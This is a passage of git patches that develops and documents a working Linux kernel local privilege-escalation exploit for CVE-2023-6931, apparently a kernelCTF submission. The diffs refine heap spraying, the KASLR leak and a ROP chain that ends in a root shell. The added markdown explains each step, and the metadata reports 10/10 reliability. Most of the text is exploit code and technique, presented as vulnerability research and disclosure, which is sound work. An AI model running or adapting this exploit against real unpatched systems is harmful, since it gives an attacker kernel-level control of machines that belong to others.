fsetxattr"); + } + return ret; +} int sock_fds[SOCK_SPRAY]; void spray_socks (void) { @@ -171,7 +165,6 @@ void inc_counters (int fd, int inc) { err_exit("[-] ioctl"); } - int main (int argc, char **argv) { char name[32]; int num_events = 0; @@ -236,8 +229,8 @@ int main (int argc, char **argv) { printf("[*] Event group ready\n"); - ffd = open("/tmp/", O_TMPFILE | O_RDWR, 0666); - if (ffd == -1) + xattr_fd = open("/tmp/", O_TMPFILE | O_RDWR, 0666); + if (xattr_fd == -1) err_exit("[-] open"); spray_simple_xattrs(XATTR_SPRAY1, xattr_data, XATTR_DATA_LEN1); @@ -248,14 +241,14 @@ int main (int argc, char **argv) { if ((i - fill) % OBJS_PER_SLAB == 0) continue; sprintf(name, "security.%d", i); - if (fremovexattr(ffd, name) == -1) + if (fremovexattr(xattr_fd, name) == -1) err_exit("[-] fremovexattr"); } spray_socks(); for (int i = fill; i < fill + XATTR_SPRAY2; i+=OBJS_PER_SLAB) { sprintf(name, "security.%d", i); - if (fremovexattr(ffd, name) == -1) + if (fremovexattr(xattr_fd, name) == -1) err_exit("[-] fremovexattr"); } From cdbb118c8b015e5773b0718086f3d8d05173aac0 Mon Sep 17 00:00:00 2001 From: 0x48 Date: Wed, 16 Oct 2024 18:01:11 +0200 Subject: [PATCH 03/10] Add comments --- .../exploit/cos-105-17412.226.28/exploit.c | 15 ++++++++++++-- .../exploit/lts-6.1.61/exploit.c | 20 +++++++++++++------ 2 files changed, 27 insertions(+), 8 deletions(-) diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c index 802dea82..76650ade 100644 --- a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c @@ -168,6 +168,7 @@ void inc_counters (int fd, int inc) { err_exit("[-] ioctl"); } + int main (int argc, char **argv) { char name[32]; int num_events = 0; @@ -182,14 +183,17 @@ int main (int argc, char **argv) { printf("[*] Opening events\n"); + /* Create group leader event */ attr.read_format = PERF_FORMAT_GROUP; attr.disabled = 0; sib_fds[0] = perf_event_open(&attr, ppid, -1, -1, 0); if (sib_fds[0] == -1) err_exit("[-] perf_event_open"); + + + /* Create sibling events */ attr.read_format = 0; attr.disabled = 1; - for (int i = 1; i <= TFD2; i++) { sib_fds[i] = perf_event_open(&attr, ppid, -1, sib_fds[0], 0); if (sib_fds[i] == -1) { @@ -200,6 +204,7 @@ int main (int argc, char **argv) { inc_counters(sib_fds[TFD1], NUM_INCS1); inc_counters(sib_fds[TFD2], NUM_INCS2); + /* Create more events from child processes to get around open fd limit. */ for (int i = 0; i < 3; i++) { pid_t cpid = fork(); if (cpid == -1) @@ -215,12 +220,14 @@ int main (int argc, char **argv) { sleep(-1); } + /* Wait for events to be created */ while (num_events <= 2048*3 + TFD2) { if (read(sib_fds[0], read_buf, 65536) == -1) err_exit("[-] read"); num_events = read_buf[0]; } + /* Create the rest of the events */ for (int i = TFD2 + 1; num_events < NUM_SIBLINGS; i++, num_events++) { sib_fds[i] = perf_event_open(&attr, ppid, -1, sib_fds[0], 0); if (sib_fds[i] == -1) { @@ -255,9 +262,11 @@ int main (int argc, char **argv) { spray_simple_xattrs(OBJS_PER_SLAB, xattr_data, XATTR_DATA_LEN1); + /* Trigger vulnerability */ if (read(sib_fds[0], read_buf, READ_BUF_SIZE) == -1) err_exit("[-] read"); + /* Leak kernel base */ target_sock = -1; optval = 1; for (int i = 0; i < SOCK_SPRAY; i++) { @@ -273,9 +282,11 @@ int main (int argc, char **argv) { printf("[-] OOB failed\n"); exit(1); } + printf("[*] Leaked kernel base: %p\n", kernel_base); + /* Trigger ROP */ prepare_rop(xattr_data, kernel_base); - spray_simple_xattrs(XATTR_SPRAY3, xattr_data, XATTR_DATA_LEN2); + spray_simple_xattrs(XATTR_SPRAY2, xattr_data, XATTR_DATA_LEN2); if (setsockopt(target_sock, SOL_SOCKET, SO_SNDBUF, &optval, sizeof(optval)) == -1) err_exit("[-] setsockopt"); diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c index cd3b5ace..19dc4226 100644 --- a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c @@ -28,7 +28,7 @@ #define XATTR_DATA_LEN1 (READ_BUF_SIZE/2) #define XATTR_DATA_LEN2 (JOP_OFF + 8) -/* How far after out to inc */ +/* How far out to inc */ #define OOB_LOC1 688 #define OOB_LOC2 1040 /* Target event fds */ @@ -157,7 +157,7 @@ void inc_counters (int fd, int inc) { char *m = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (m == MAP_FAILED) err_exit("[-] mmap"); - m[0] = 0; + m[0] = 0; /* Page fault */ if (munmap(m, 4096) == -1) err_exit("[-] munmap"); } @@ -172,8 +172,6 @@ int main (int argc, char **argv) { int target_sock; int optval = 1; - memset(xattr_data, 'A', XATTR_DATA_LEN1); - pin_cpu(); set_attr(); @@ -181,14 +179,17 @@ int main (int argc, char **argv) { printf("[*] Opening events\n"); + /* Create group leader event */ attr.read_format = PERF_FORMAT_GROUP; attr.disabled = 0; sib_fds[0] = perf_event_open(&attr, ppid, -1, -1, 0); if (sib_fds[0] == -1) err_exit("[-] perf_event_open"); + + + /* Create sibling events */ attr.read_format = 0; attr.disabled = 1; - for (int i = 1; i <= TFD2; i++) { sib_fds[i] = perf_event_open(&attr, ppid, -1, sib_fds[0], 0); if (sib_fds[i] == -1) { @@ -199,6 +200,7 @@ int main (int argc, char **argv) { inc_counters(sib_fds[TFD1], NUM_INCS1); inc_counters(sib_fds[TFD2], NUM_INCS2); + /* Create more events from child processes to get around open fd limit. */ for (int i = 0; i < 3; i++) { pid_t cpid = fork(); if (cpid == -1) @@ -214,12 +216,14 @@ int main (int argc, char **argv) { sleep(-1); } + /* Wait for events to be created */ while (num_events <= 2048*3 + TFD2) { if (read(sib_fds[0], read_buf, 65536) == -1) err_exit("[-] read"); num_events = read_buf[0]; } + /* Create the rest of the events */ for (int i = TFD2 + 1; num_events < NUM_SIBLINGS; i++, num_events++) { sib_fds[i] = perf_event_open(&attr, ppid, -1, sib_fds[0], 0); if (sib_fds[i] == -1) { @@ -254,9 +258,11 @@ int main (int argc, char **argv) { spray_simple_xattrs(OBJS_PER_SLAB, xattr_data, XATTR_DATA_LEN1); + /* Trigger vulnerability */ if (read(sib_fds[0], read_buf, READ_BUF_SIZE) == -1) err_exit("[-] read"); + /* Leak kernel base */ target_sock = -1; optval = 1; for (int i = 0; i < SOCK_SPRAY; i++) { @@ -272,9 +278,11 @@ int main (int argc, char **argv) { printf("[-] OOB failed\n"); exit(1); } + printf("[*] Leaked kernel base: %p\n", kernel_base); + /* Trigger ROP */ prepare_rop(xattr_data, kernel_base); - spray_simple_xattrs(XATTR_SPRAY3, xattr_data, XATTR_DATA_LEN2); + spray_simple_xattrs(XATTR_SPRAY2, xattr_data, XATTR_DATA_LEN2); if (setsockopt(target_sock, SOL_SOCKET, SO_SNDBUF, &optval, sizeof(optval)) == -1) err_exit("[-] setsockopt"); From b3c6f4090335636559ced6b54d9d8b29d7c66247 Mon Sep 17 00:00:00 2001 From: 0x48 Date: Wed, 16 Oct 2024 18:18:30 +0200 Subject: [PATCH 04/10] Simplify heap manipulation --- .../exploit/cos-105-17412.226.28/exploit.c | 45 ++++++++++--------- .../exploit/lts-6.1.61/exploit.c | 37 ++++++++------- 2 files changed, 45 insertions(+), 37 deletions(-) diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c index 76650ade..7a99bbe5 100644 --- a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c @@ -17,6 +17,7 @@ #include #include #include +#include #define READ_BUF_SIZE 2048 @@ -28,7 +29,7 @@ #define XATTR_DATA_LEN1 (READ_BUF_SIZE/2) #define XATTR_DATA_LEN2 (JOP_OFF + 8) -/* How far after out to inc */ +/* How far out to inc */ #define OOB_LOC1 728 #define OOB_LOC2 1056 /* Target event fds */ @@ -43,11 +44,10 @@ #define OBJS_PER_SLAB 16 #define SOCK_SLABS (2*OBJS_PER_SLAB) -#define SOCK_SPRAY (SOCK_SLABS*OBJS_PER_SLAB) +#define SOCK_SPRAY (SOCK_SLABS+OBJS_PER_SLAB) #define XATTR_SPRAY1 1000 #define XATTR_SPRAY2 (SOCK_SLABS*OBJS_PER_SLAB) -#define XATTR_SPRAY3 (SOCK_SLABS+OBJS_PER_SLAB) #define PREPARE_KERNEL_CRED 0x10d180 #define COMMIT_CREDS 0x10ced0 @@ -86,7 +86,10 @@ int perf_event_open(struct perf_event_attr *attr, pid_t pid, unsigned int cpu, i return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags); } -unsigned int cpu; +int membarrier(unsigned int flags, int cpu_id) { + return syscall(SYS_membarrier, flags, cpu_id); +} + void pin_cpu () { cpu_set_t set; CPU_ZERO(&set); @@ -142,8 +145,6 @@ int spray_simple_xattrs(int num_spray, void *xattr_val, int xattr_len) { return ret; } - - int sock_fds[SOCK_SPRAY]; void spray_socks (void) { for (int i = 0; i < SOCK_SPRAY; i++) { @@ -160,7 +161,7 @@ void inc_counters (int fd, int inc) { char *m = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (m == MAP_FAILED) err_exit("[-] mmap"); - m[0] = 0; + m[0] = 0; /* Page fault */ if (munmap(m, 4096) == -1) err_exit("[-] munmap"); } @@ -168,7 +169,6 @@ void inc_counters (int fd, int inc) { err_exit("[-] ioctl"); } - int main (int argc, char **argv) { char name[32]; int num_events = 0; @@ -241,25 +241,25 @@ int main (int argc, char **argv) { if (xattr_fd == -1) err_exit("[-] open"); + /* Fill up preexisting partial slabs */ spray_simple_xattrs(XATTR_SPRAY1, xattr_data, XATTR_DATA_LEN1); - int fill = spray_simple_xattrs(XATTR_SPRAY2, xattr_data, XATTR_DATA_LEN1); - for (int i = fill; i < fill + XATTR_SPRAY2; i++) { - if ((i - fill) % OBJS_PER_SLAB == 0) - continue; - sprintf(name, "security.%d", i); - if (fremovexattr(xattr_fd, name) == -1) - err_exit("[-] fremovexattr"); - } + /* Create target slabs */ spray_socks(); + for (int i = 0; i < SOCK_SPRAY; i++) { + if (i % OBJS_PER_SLAB == 0) { + close(sock_fds[i]); + sock_fds[i] = -1; + } - for (int i = fill; i < fill + XATTR_SPRAY2; i+=OBJS_PER_SLAB) { - sprintf(name, "security.%d", i); - if (fremovexattr(xattr_fd, name) == -1) - err_exit("[-] fremovexattr"); } + /* Wait for netlink_socks to be freed */ + if (membarrier(MEMBARRIER_CMD_GLOBAL, 0) == -1) + err_exit("[-] membarrier"); + + /* Fill active slab */ spray_simple_xattrs(OBJS_PER_SLAB, xattr_data, XATTR_DATA_LEN1); /* Trigger vulnerability */ @@ -270,6 +270,8 @@ int main (int argc, char **argv) { target_sock = -1; optval = 1; for (int i = 0; i < SOCK_SPRAY; i++) { + if (sock_fds[i] == -1) + continue; int ret = setsockopt(sock_fds[i], SOL_NETLINK, NETLINK_ADD_MEMBERSHIP, &optval, sizeof(optval)); if (ret) { kernel_base = 0xffffffff00000000 | (ret & 0xff000000); @@ -282,6 +284,7 @@ int main (int argc, char **argv) { printf("[-] OOB failed\n"); exit(1); } + printf("[*] Leaked kernel base: %p\n", kernel_base); /* Trigger ROP */ @@ -315,4 +318,4 @@ int main (int argc, char **argv) { printf("[*] Launching shell\n"); system("/bin/sh"); return 0; -} +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c index 19dc4226..69d759e4 100644 --- a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c @@ -17,6 +17,7 @@ #include #include #include +#include #define READ_BUF_SIZE 2048 @@ -43,11 +44,10 @@ #define OBJS_PER_SLAB 16 #define SOCK_SLABS (2*OBJS_PER_SLAB) -#define SOCK_SPRAY (SOCK_SLABS*OBJS_PER_SLAB) +#define SOCK_SPRAY (SOCK_SLABS+OBJS_PER_SLAB) #define XATTR_SPRAY1 1000 #define XATTR_SPRAY2 (SOCK_SLABS*OBJS_PER_SLAB) -#define XATTR_SPRAY3 (SOCK_SLABS+OBJS_PER_SLAB) #define PREPARE_KERNEL_CRED 0x1bb6b0 #define COMMIT_CREDS 0x1bb410 @@ -85,7 +85,10 @@ int perf_event_open(struct perf_event_attr *attr, pid_t pid, unsigned int cpu, i return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags); } -unsigned int cpu; +int membarrier(unsigned int flags, int cpu_id) { + return syscall(SYS_membarrier, flags, cpu_id); +} + void pin_cpu () { cpu_set_t set; CPU_ZERO(&set); @@ -237,25 +240,25 @@ int main (int argc, char **argv) { if (xattr_fd == -1) err_exit("[-] open"); + /* Fill up preexisting partial slabs */ spray_simple_xattrs(XATTR_SPRAY1, xattr_data, XATTR_DATA_LEN1); - int fill = spray_simple_xattrs(XATTR_SPRAY2, xattr_data, XATTR_DATA_LEN1); - for (int i = fill; i < fill + XATTR_SPRAY2; i++) { - if ((i - fill) % OBJS_PER_SLAB == 0) - continue; - sprintf(name, "security.%d", i); - if (fremovexattr(xattr_fd, name) == -1) - err_exit("[-] fremovexattr"); - } + /* Create target slabs */ spray_socks(); + for (int i = 0; i < SOCK_SPRAY; i++) { + if (i % OBJS_PER_SLAB == 0) { + close(sock_fds[i]); + sock_fds[i] = -1; + } - for (int i = fill; i < fill + XATTR_SPRAY2; i+=OBJS_PER_SLAB) { - sprintf(name, "security.%d", i); - if (fremovexattr(xattr_fd, name) == -1) - err_exit("[-] fremovexattr"); } + /* Wait for netlink_socks to be freed */ + if (membarrier(MEMBARRIER_CMD_GLOBAL, 0) == -1) + err_exit("[-] membarrier"); + + /* Fill active slab */ spray_simple_xattrs(OBJS_PER_SLAB, xattr_data, XATTR_DATA_LEN1); /* Trigger vulnerability */ @@ -266,6 +269,8 @@ int main (int argc, char **argv) { target_sock = -1; optval = 1; for (int i = 0; i < SOCK_SPRAY; i++) { + if (sock_fds[i] == -1) + continue; int ret = setsockopt(sock_fds[i], SOL_NETLINK, NETLINK_ADD_MEMBERSHIP, &optval, sizeof(optval)); if (ret) { kernel_base = 0xffffffff00000000 | (ret & 0xff000000); @@ -311,4 +316,4 @@ int main (int argc, char **argv) { printf("[*] Launching shell\n"); system("/bin/sh"); return 0; -} +} \ No newline at end of file From e2453d88a002101e2990390f21ea9668df8f8c40 Mon Sep 17 00:00:00 2001 From: 0x48 Date: Wed, 16 Oct 2024 18:33:03 +0200 Subject: [PATCH 05/10] Add docs --- .../CVE-2023-6931_lts_cos/docs/exploit.md | 160 ++++++++++++++++++ .../docs/vulnerability.md | 5 + 2 files changed, 165 insertions(+) create mode 100644 pocs/linux/kernelctf/CVE-2023-6931_lts_cos/docs/exploit.md create mode 100644 pocs/linux/kernelctf/CVE-2023-6931_lts_cos/docs/vulnerability.md diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/docs/exploit.md new file mode 100644 index 00000000..44b334d6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/docs/exploit.md @@ -0,0 +1,160 @@ +# CVE-2023-6931 +## Overview + +The vulnerability allows multiple out-of-bounds increments at controlled offsets from the end of an array. We allocate a `netlink_sock` object in front of a vulnerable array and increment two of its function pointers. One of the modified pointers is then called to bypass KASLR and the other to execute a ROP chain placed in the slot previously occupied by the vulnerable array. + +## Performance Counters Background + +The `perf_event_open()` syscall is used to measure information about a target process. The `perf_event_attr` argument specifies what to measure in the `.type` and `.config` fields. Since the kernelCTF instances are virtualized, only events that use the software PMU (`.type = PERF_TYPE_SOFTWARE` or `.type = PERF_TYPE_BREAKPOINT`) can be created. We will use events with `.type = PERF_TYPE_SOFTWARE` and `.config = PERF_COUNT_SW_PAGE_FAULTS` to count the number of page faults in the exploit process. + +`perf_event_open()` returns a file descriptor which can be `read()` to get the event count. The perf event will only perform measurements while it is active. It can be activated and deactivated with `ioctl()` or the `.disabled` field in `perf_event_attr`. + +Events can created as part of a group by passing the file descriptor of a group leader event to `perf_event_open()`. Events in the group will only be measured if the group leader is also active. If an event in the group has the `PERF_FORMAT_GROUP` flag in its `perf_event_attr`'s `.read_format` field, it will output an array with the counts of all events in the group when `read()`. The out-of-bounds increments occur while preparing this array in `perf_read_group()`. + +## Setting up the Vulnerable Event Group + +We want to create an event group large enough to overflow the group leader's 16-bit `read_size`, which is passed to `kmalloc()` in `perf_read_group()` to allocate the `values` array. Each event takes up 8 bytes of `values` after an 8-byte header, so 8191 events will make `read_size` overflow. Adding 256 more events sets `read_size` to 2048 so that `values` is allocated in `kmalloc-2048`. + +The group leader is created with `read_format = PERF_FORMAT_GROUP` so that `perf_read_group()` is used when reading it, and the rest of the events are created with `read_format = 0` to avoid checks that prevent the group leader's `read_size` from overflowing: + +``` + /* Create group leader event */ + attr.read_format = PERF_FORMAT_GROUP; + attr.disabled = 0; + sib_fds[0] = perf_event_open(&attr, ppid, -1, -1, 0); + + /* Create sibling events */ + attr.read_format = 0; + attr.disabled = 1; + /* ... */ +``` + +The `perf_event` associated with `sib_fds[n]` will have its `count` field added to `values[n+1]` in `perf_read_group()`, so the events from `sib_fd[255]` to `sib_fd[511]` will do out-of-bounds increments on the slot directly after `values`. We want to increment two locations in this slot, corresponding to the event fds `TFD1` and `TFD2` in the exploit. + +We create the events up to `TFD2` and then set the `count` fields of `TFD1` and `TFD2` using `inc_counters()`: + +``` + for (int i = 1; i <= TFD2; i++) + sib_fds[i] = perf_event_open(&attr, ppid, -1, sib_fds[0], 0); + + inc_counters(sib_fds[TFD1], NUM_INCS1); + inc_counters(sib_fds[TFD2], NUM_INCS2); +``` + +Since the events are created with `attr.type = PERF_COUNT_SW_PAGE_FAULTS`, their `count` is incremented every time there is a page fault. `inc_counters()` enables the passed event, does the required number of page faults, then disables the event: + +``` +void inc_counters (int fd, int inc) { + ioctl(fd, PERF_EVENT_IOC_ENABLE, 0); + for (int i = 0; i < inc; i++) { + char *m = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); + m[0] = 0; /* Page fault */ + } + ioctl(fd, PERF_EVENT_IOC_DISABLE, 0); +} +``` +After this the rest of the events are created. The target instances have a hard limit of 4096 open file descriptors for each process, so more processes are forked off to create enough events. Three processes create 2048 events each: + +``` +for (int i = 0; i < 3; i++) { + pid_t cpid = fork(); + if (cpid) + continue; + for (int j = 1; j <= 2048; j++) + sib_fds[j] = perf_event_open(&attr, ppid, -1, sib_fds[0], 0); + sleep(-1); +} +``` +The parent process can check how many sibling events have been created by calling `read()` on the group leader. This is used to wait for the child processes to finish: +``` +while (num_events <= 2048*3 + TFD2) { + read(sib_fds[0], read_buf, 65536); + num_events = read_buf[0]; +} +``` +The final events are then created in the parent process, overflowing `read_size`. Now `read()`ing the group leader will allocate a `values` array and do out-of-bounds increments at the chosen offsets. + +## Preparing the Heap + +The vulnerable array should be allocated in a slab with one empty slot and all other slots containing a `netlink_sock` object. Since the `kmalloc-2048` cache where `netlink_sock` is allocated has 16 slots per slab, the buffer will have a 15 in 16 chance of being behind a `netlink_sock` within the slab. + +This is achieved in three steps: + +### Fill Partial Slabs + +A large number of `simple_xattr` objects are allocated in `kmalloc-2048` to fill the existing partial slabs. An unknown number of `simple_xattr`s will be left over in the active slab of the current CPU. + +### Create Target Slabs + +We want to create a number of target slabs greater than the number of objects per slab (see the next section for why). There are 16 objects per slab in `kmalloc-2048`, so creating `2*16*16` `netlink_sock` objects is more than enough. One in 16 of the allocated `netlink_sock`s are freed, leaving us with 31 slabs that all have one free slot and 15 slots containing a `netlink_sock`. Unless we happened to exactly fill all partial slabs in the first step, the 32nd slab created (which will be the active slab) will have more than one empty slot. + +`netlink_sock` is freed after an RCU delay, so `membarrier(MEMBARRIER_CMD_GLOBAL, 0)` is used to wait for the `netlink_sock`s to be freed before continuing. The originally submitted exploit used a more complicated approach to achieve the same heap state without freeing any `netlink_sock`s, avoiding this wait, but this did not actually improve reliablity over the simpler method used here. + +### Fill the Active Slab + +The active slab has an unknown number of empty slots which have to be filled to reach the target slab at the head of the partial slab list. Enough `simple_xattr`s are sprayed to fill the active slab. Some of them will overflow into the empty slots of target slabs after the active slab is filled, which is why it was necessary create more target slabs than there are objects per slab. + +## Triggering the Vulnerability + +`read()`ing the group leader allocates the `values` array in `kmalloc-2048` and increments two locations in the next slot, corresponding to the `netlink_bind` and `sk.sk_write_space` fields of `netlink_sock`. Before being incremented these are set to `rtnetlink_bind()` and `sock_def_write_space()`, respectively. + +`netlink_bind` is incremented by `0x0f` and will be called to leak the kernel base. `sk.sk_write_space` is incremented to point to `__sk_destruct()` and will be called to execute a ROP chain. + +The `values` array is freed in `perf_read_group()` immediately after it does the OOB increments. + +## KASLR Bypass + +Here we exploit the fact that `rax` is used to store both the return value and the jump target of an indirect call. Adding `0x0f` to `rtnetlink_bind()` points it at the nearest return instruction, so calling `rtnetlink_bind + 0x0f` simply returns without doing anything. The return value in `eax` will contain the lower 32 bits of `rtnetlink_bind + 0x0f`, from which the kernel base address can be inferred. + +The `netlink_bind` pointer of a `netlink_sock` is called by `netlink_setsockopt()` during the system call `setsockopt(sockfd, SOL_NETLINK, NETLINK_ADD_MEMBERSHIP, optval, optlen)`. When our corrupted pointer is called this way and returns the lower 32 bits of `rtnetlink_bind + 0x0f`, it is interpreted as an error code and passed to user space in the return value of `setsockopt()`. + +If none of the sprayed `netlink_socks`s returns an error, we know that the OOB increment did not hit. Since whatever memory it did increment didn't crash the kernel, we can try again. + +## ROP Chain + +After being incremented, `sk.sk_write_space` points to `__sk_destruct()`. It can be called via `sk_setsockopt()` using the syscall `setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, optval, optlen)`. +`__sk_destruct()` may be scheduled with `call_rcu()`, so it takes an `rcu_head *head` argument and uses `container_of(head, struct sock, sk_rcu)` to get a `sock` pointer: + +``` +static void __sk_destruct(struct rcu_head *head) +{ + struct sock *sk = container_of(head, struct sock, sk_rcu); + struct sk_filter *filter; + + if (sk->sk_destruct) + sk->sk_destruct(sk); + + /* ... */ +} +``` + + +When we call `__sk_destruct()` through `sk.sk_write_space`, `head` will be a pointer to base of the victim `netlink_sock`. Then `container_of()` returns a pointer to the middle of the previous slot, which used to contain the vulnerable `values` array. + +We spray `simple_xattr`s to fill this slot with a fake `sock` containing a ROP chain. `__sk_destruct` will call the `sk_destruct` function pointer of the fake `sock`, which we set to the address of a gadget that pivots to the ROP chain at the start of the `sock`, whose address is contained in `rbp`: + +``` +mov rsp, rbp ; pop rbp ; jmp __x86_return_thunk +``` + +The ROP chain performs privilege escalation and namespace escape then ends with a [telefork](https://blog.kylebot.net/2022/10/16/CVE-2022-1786/index.html "https://blog.kylebot.net/2022/10/16/CVE-2022-1786/index.html"): + +``` +0 +pop rdi ; jmp __x86_return_thunk +0 +prepare_kernel_cred() +mov rdi, rax ; pop rbx ; jmp __x86_return_thunk +0 +commit_creds() +pop rdi ; jmp __x86_return_thunk +1 +find_task_by_vpid() +pop rsi ; jmp __x86_return_thunk +init_nsproxy +mov rdi, rax ; pop rbx ; jmp __x86_return_thunk +0 +switch_task_namespaces() +do_sys_vfork() +msleep() +``` \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/docs/vulnerability.md new file mode 100644 index 00000000..d340593a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/docs/vulnerability.md @@ -0,0 +1,5 @@ +When a `perf_event` has the `PERF_FORMAT_GROUP` flag set in its `read_format`, each event added to its group increases its `read_size`. Since `read_size` is a `u16`, adding a few thousand events can cause an integer overflow. There is a check in `perf_validate_size()` to prevent an event from being added to a group if its `read_size` would be too large, but the `read_size` of the events already in the group can also increase and is not checked. An integer overflow can be caused by creating an event with `PERF_FORMAT_GROUP` and then adding events without `PERF_FORMAT_GROUP` to its group until the first event's `read_size` overflows. + +`perf_read_group()` allocates a buffer using an event's `read_size`, then iterates through the `sibling_list`, incrementing and possibly writing to successive `u64` entries in the buffer. Overflowing `read_size` causes `perf_read_group()` to increment/write memory outside of the heap allocation. + +The bug was introduced in `fa8c269353d5 ("perf/core: Invert perf_read_group() loops")` in 3.16 and partially fixed shortly after in `a723968c0ed3 ("perf: Fix u16 overflows")`. It was fixed in `382c27f4ed28 (perf: Fix perf_event_validate_size())` in 6.7. \ No newline at end of file From 5b5d77e82872d92b35d2f9e0810ce3226f7024e5 Mon Sep 17 00:00:00 2001 From: 0x48 Date: Wed, 16 Oct 2024 18:34:08 +0200 Subject: [PATCH 06/10] Update Makefile --- .../CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/Makefile | 2 +- .../kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/Makefile | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/Makefile b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/Makefile index a5c64b88..57efefaa 100644 --- a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/Makefile +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/Makefile @@ -1,4 +1,4 @@ -CFLAGS = -Wno-incompatible-pointer-types -Wno-format -Wno-int-conversion +CFLAGS = -Wno-incompatible-pointer-types -Wno-format -Wno-int-conversion -static exploit: exploit.c diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/Makefile b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/Makefile index a5c64b88..57efefaa 100644 --- a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/Makefile +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/lts-6.1.61/Makefile @@ -1,4 +1,4 @@ -CFLAGS = -Wno-incompatible-pointer-types -Wno-format -Wno-int-conversion +CFLAGS = -Wno-incompatible-pointer-types -Wno-format -Wno-int-conversion -static exploit: exploit.c From 6420225135b178cf896135972755163490fbc88a Mon Sep 17 00:00:00 2001 From: 0x48 Date: Wed, 16 Oct 2024 18:48:29 +0200 Subject: [PATCH 07/10] Add metadata --- .../CVE-2023-6931_lts_cos/metadata.json | 32 +++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 pocs/linux/kernelctf/CVE-2023-6931_lts_cos/metadata.json diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/metadata.json b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/metadata.json new file mode 100644 index 00000000..633e7a7d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/metadata.json @@ -0,0 +1,32 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp111" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=382c27f4ed28f803b1f1473ac2d8db0afc795a1b", + "cve": "CVE-2023-6931", + "affected_versions": [ + "3.16 - 6.7" + ], + "requirements": { + "attack_surface": [], + "capabilities": [], + "kernel_config": [ + "CONFIG_PERF_EVENTS" + ] + } + }, + "exploits": { + "lts-6.1.61": { + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "succeeded on 10/10 tries against target instance" + }, + "cos-105-17412.226.28": { + "uses": [], + "requires_separate_kaslr_leak": false, + "stability_notes": "succeeded on 10/10 tries against target instance" + } + } +} \ No newline at end of file From 9aea96400d31bc8abc2bb29b12bf985a55de2f67 Mon Sep 17 00:00:00 2001 From: 0x48 Date: Wed, 16 Oct 2024 19:17:27 +0200 Subject: [PATCH 08/10] Correct heap spray values --- .../exploit/cos-105-17412.226.28/exploit.c | 4 ++-- .../CVE-2023-6931_lts_cos/exploit/lts-6.1.61/exploit.c | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c index 7a99bbe5..bcfac930 100644 --- a/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c +++ b/pocs/linux/kernelctf/CVE-2023-6931_lts_cos/exploit/cos-105-17412.226.28/exploit.c @@ -44,10 +44,10 @@ #define 